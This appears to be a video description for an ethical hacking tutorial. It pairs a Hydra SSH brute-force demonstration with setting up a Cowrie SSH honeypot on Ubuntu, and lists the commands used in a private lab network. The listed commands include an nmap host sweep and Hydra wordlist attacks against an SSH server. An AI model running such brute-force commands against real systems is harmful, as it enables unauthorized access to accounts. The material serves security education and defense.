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This video features David Bombal and Kyle Winters demonstrating practical
cybersecurity techniques. Kyle walks through how to use Hydra to brute force SSH passwords, explaining the process of leveraging wordlists and optimizing the attack. Following the offensive demonstration, Kyle transitions into defensive measures, showing viewers how to quickly and easily set up an SSH honeypot using Cowrie. The honeypot serves as a decoy to attract and monitor malicious actors attempting to access a network. The demonstration includes setting up the honeypot on an Ubuntu host, configuring IP tables for port redirection, and monitoring logs for incoming connection attempts. The video highlights the importance of understanding both attack methods and defensive strategies in cybersecurity. Kyle also mentions free ethical hacking training resources available through Cisco Networking Academy (netacad.com) and future tutorials on Cisco U (u.cisco.com).

// COMMANDS //
Devices:
client 192.168.1.10
server 192.168.1.11
ubuntu-honeypot 192.168.1.21

Nmap scan:
nmap -sn 192.168.1.0/24

Verify Hydra installed:
hydra -h

Show wordlists:
ls -al /usr/share/wordlists/

Crack with known username:
hydra -l admin -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11

Crack with unknown username:
hydra -L /usr/share/wordlists/top-usernames-shortlist.txt -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11

Create dir for Cowrie:
mkdir cowrie
cd cowrie/

Clone cowrie:
git clone https://github.com/cowrie/cowrie .

Launch the python virtual environment:
python3 -m venv cowrie-env
source cowrie-env/bin/activate

Install python requirements:
pip install --upgrade pip
pip install -r requirements.txt

Copy and edit the config:
cp etc/cowrie.cfg.dist etc/cowrie.cfg
vi etc/cowrie.cfg

Setup port forwarding for SSH to Cowrie:
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
sudo iptables-save

Start Cowrie:
bin/cowrie start

Check Cowrie status:
bin/cowrie status

View logs:
tail -f var/log/cowrie/cowrie.log

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#501: Brute Force SSH & Build a Honeypot Now (Hydra and Cowrie Demo)

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